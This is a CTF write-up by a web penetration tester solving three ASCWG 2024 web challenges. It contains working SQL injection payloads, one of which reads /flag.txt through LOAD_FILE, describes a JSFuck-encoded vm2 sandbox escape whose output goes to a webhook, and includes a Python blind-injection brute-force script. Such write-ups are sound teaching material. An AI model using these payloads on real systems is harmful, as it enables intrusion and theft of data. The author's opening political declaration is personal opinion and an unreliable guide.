ASCWG CTF Qualifications 2024 (Web Exploitation)

Anas Ibrahim
6 min readAug 6, 2024

--

ASCWG 2024

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

We Stand with Palestine and don’t recognize a country called Israel.

Hi everyone, I’m a web penetration tester, and I occasionally participate in CTFs. Recently, I took part in the ASCWG CTF Qualifications 2024 and i have solved 3 web challenges, let me now explain the scenarios.

Unmasked

The most web challenge I solved involved a (Login — Registration) functionality. After creating an account and logging in, I found a file upload feature. I thought it might be vulnerable to unrestricted file upload. However, after uploading a PHP shell, I didn’t know which directory the shell was uploaded to, and there wasn’t a solution provided.

profile

I intercepted the request of the registration function and injected a single quote after the username, which returned a SQL error. This indicated that the function should be vulnerable to SQL injection. How can I exploit this vulnerability to get the flag?

Detecting SQLi

The error returned this query when I registered an account with the password hash.

INSERT INTO users(username, email, password) VALUES ('user', 'email', 'SHA1_Password')

When I logged into my account, I noticed that the email is reflected under the file upload function. Therefore, I should inject SQL queries into the username field to retrieve information instead of the email after logging in.

I created a password with the SHA1 hash 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, balanced the query, and retrieved the database version instead of the email. I commented out everything after the password

I retrieved the database name, and the result was wargames.

I used the following SQL injection payload to achieve this:

user_1',database(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#

Here are the credentials I used:
- Username: user_1
- Password: password

So, the full query would be:

I retrieved the version of the database as following

user_2',version(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#

Here, the credentials are:

  • Username: user_2
  • Password: password

So, the query will be as follows:

INSERT INTO users(username, email, password) VALUES ('user_2',version(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#', 'test@test.com', 'password')
Retrieving version()
Version()

To get the flag, you should read the file /flag.txt.

I used the following SQL injection payload to achieve this:

user_3', LOAD_FILE('/flag.txt'), '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#

Here are the credentials I used:

  • Username: user_3
  • Password: password

So, the full query would be:

/flag.txt

Secure Calc

I downloaded the challenge source code and started to analyze it. I noticed that this app had been written in Node.js.

index.js

const express = require("express");
const {VM} = require("vm2");

const app = express();
const vm = new VM();

app.use(express.json());



app.get('/', function (req, res) {
return res.send("Hello, just index : )");
});

app.post('/calc',async function (req, res) {
let { eqn } = req.body;
if (!eqn) {
return res.status(400).json({ 'Error': 'Please provide the equation' });
}
else if (eqn.match(/[a-zA-Z]/)) {
return res.status(400).json({ 'Error': 'Invalid Format' });
}

try {
result = await vm.run(eqn);
res.send(200,result);
} catch (e) {
console.log(e);
return res.status(400).json({ 'Error': 'Syntax error, please check your equation' });
}
});



app.listen(3000,'0.0.0.0',function(){
console.log("Started !")
});

When i access / it returned this output

index.js

Now I can create a POST request to /calc with the eqn parameter in JSON format.

calc

There was a vm2 package that executed the equations, but there was a regex filter that blocked any capital or lowercase letters [a-zA-Z]. Adding any string resulted in an Invalid Formaterror.

Invalid Format

So now I searched for any CVEs and checked the versions of the used packages.

package.json

{
"name": "secure_calc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.19.2",
"pm2": "^5.4.0",
"vm2": "^3.9.19"
}
}

I searched for information on VM2 version 3.9.19 and found that it was vulnerable to sandbox escape. The Promise handler sanitization can be bypassed with the @@species accessor property, allowing attackers to escape the sandbox and execute arbitrary code.

Sandbox Escape in vm2@3.9.19 via `Promise[@@species]` (github.com)

I used this exploit and ran the id command. Since it was a blind exploit, I used Beeceptor or a webhook to receive the output, which was as follows:

raw.githubusercontent.com/Anas0x1/secure_calc/main/exploit_1.js

and encoded it using JSFuck to bypass the regex, as follows:

id
root

I read the flag using this payload, which was also encoded with JSFuck.

raw.githubusercontent.com/Anas0x1/secure_calc/main/exploit_2.js

Flag.txt

Real

This challenge only has a login page and might be vulnerable to SQL injection. When I intercepted the request using Burp Suite, I found two POST parameters: username and password. When I injected a single quote into the username field, I received an error.

Injecting single quote

I injected this payload

' or 1=1 --

I received ‘Welcome’. There was a filtration process that blocked certain words and characters, such as (). The flag is the database username, so I need to retrieve the current username. However, I can't use the user() function.

Welcome

Now I want to determine the number of columns, so I used this query to inject:

' ORDER BY 1 --     -> User Not Found
' ORDER BY 2 -- -> User Not Found
' ORDER BY 3 -- -> Error

So, I have determined there are two columns in the table. Now it’s time to use the UNION operator.

' UNION SELECT NULL,NULL --      -> Welcome

I used CURRENT_USER to bypass user(), and I used SIMILAR TO instead of LIKE to retrieve the username characters, as follows:

' UNION SELECT CURRENT_USER,NULL WHERE USER SIMILAR TO 'AS%' --      -> Welcome

I know the first two characters of the flag are AS, and the flag is related to ASCWG{}. So, I wrote a Python script to retrieve all the characters of the flag. If the response was 'Welcome', then the character was correct.

import requests
import string
import time

# Setup
base_url = "https://real.ascwg-challs.app"
known_prefix = "ASCWG{"
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits + "{}_"

headers = {
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': base_url,
'Referer': base_url,
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
}

# Brute-force process
while True:
for char in string.ascii_uppercase + string.digits + "{}_":
# Construct payload
current_attempt = known_prefix + char
payload = f"username' UNION SELECT current_user,NULL WHERE USER SIMILAR TO '{current_attempt}%'--"

# Prepare data for POST request
data = {
'username': payload,
'password': 'pass'
}

# Send POST request
try:
response = requests.post(f"{base_url}/login", data=data, headers=headers, timeout=5)
response.raise_for_status() # Check for HTTP errors

if "Welcome" in response.text:
known_prefix = current_attempt
print(f"Found partial username: {known_prefix}")
break

except requests.RequestException as e:
print(f"Request failed: {e}")

time.sleep(1) # Delay between requests

else:
# Exit loop if username is complete
print(f"{known_prefix}")
break

print(f"The Flag is: {known_prefix}")

And it retrieved the flag: ASCWG{YEAH_YOU_DID_IT}.

Finally, I have finished the write-up about solving the three web security challenges. I hope you find it enjoyable.

The End

The End

Contact

Facebook | LinkedIn

--

--

Anas Ibrahim
Anas Ibrahim

No responses yet